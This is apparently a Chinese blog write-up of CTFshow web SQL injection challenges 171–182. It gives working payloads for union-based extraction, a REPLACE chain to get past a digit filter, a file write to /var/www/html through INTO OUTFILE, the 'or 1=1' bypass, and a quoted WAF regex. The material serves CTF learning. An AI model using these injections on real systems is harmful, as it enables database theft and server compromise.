CTFshow之web入门SQL注入

2024-02-28 20:29:14 浏览数 (3)

web171

使用sqlmap是没有灵魂的,我尽量手注,

在这一道题我们可以看见一共是24个,同时查询的是ID,我们猜测id实际上不止24个,但直接是无法查询到更多数据,推测是

代码语言:javascript复制
select username,password from user where username !='flag' and id = ".$_GET['id'];

我们可以构造9999’ or id=’26在前一句命令没有执行的情况下,去强行跳转执行,得到flag。

web172

TIP: 撸猫为主,要什么flag?

这道题SQL语句与上一道一样,但是多了限制条件

代码语言:javascript复制
//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
代码语言:javascript复制
9999' union select id,password from ctfshow_user2 where username = 'flag

web173

真就是花式吊打,上一道题的构造直接可以使用因为flag是出现在username中的,我们可以在使用联合查询的时候直接不去查username,查询两次id,因为两个都是id的话会有问题,定义一个别名就行。

代码语言:javascript复制
9999' union select id as '12',id,password from ctfshow_user3 where username = 'flag

也可以对username进行编码

代码语言:javascript复制
9999' union select id,hex(username),password from ctfshow_user3 where username = 'flag

web174

在返回逻辑中过滤掉了数字

代码语言:javascript复制
0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' #

得到的flag一一替换便可以得到真正的flag

Web175

代码语言:javascript复制
0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' -- 

web176

好吧直接万能注入就行了,看别的博客上说是过滤了select……构造: 1’or 1=1– -

Web177

这一个题目,这个过滤了空格….. 1’and’1’=’1

Web178

似乎是多过滤了什么,又似乎是什么都没有过滤。

web182

代码语言:javascript复制
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |*|x09|x0a|x0b|x0c|x00|x0d|xa0|x23|#|file|into|select|flag/i', $str);
  }

给出了后端过滤的内容,过滤了into,select,flag等,这样就不能进行联合注入了。

0 人点赞